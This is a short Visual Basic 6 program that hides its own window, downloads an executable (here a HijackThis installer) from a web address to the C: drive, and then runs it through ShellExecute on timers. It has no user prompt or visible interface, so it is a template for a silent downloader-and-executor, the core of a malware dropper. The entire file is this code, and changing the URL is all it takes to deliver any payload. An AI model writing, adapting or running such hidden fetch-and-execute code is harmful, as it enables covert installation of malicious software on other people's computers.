Dim ejecutar As Long
Dim download As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub Timer1_Timer()
Me.Visible = False
download = URLDownloadToFile(0, "http://download.hijackthis.eu/HJTInstall.exe", "c:\ejemplohijackthis.exe", 0, 0)
Timer1.Enabled = False
End Sub

Private Sub Timer2_Timer()
ejecutar = ShellExecute(Me.hwnd, "Open", "c:\ejemplohijackthis.exe", "", "", 1)
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Unload Me
End Sub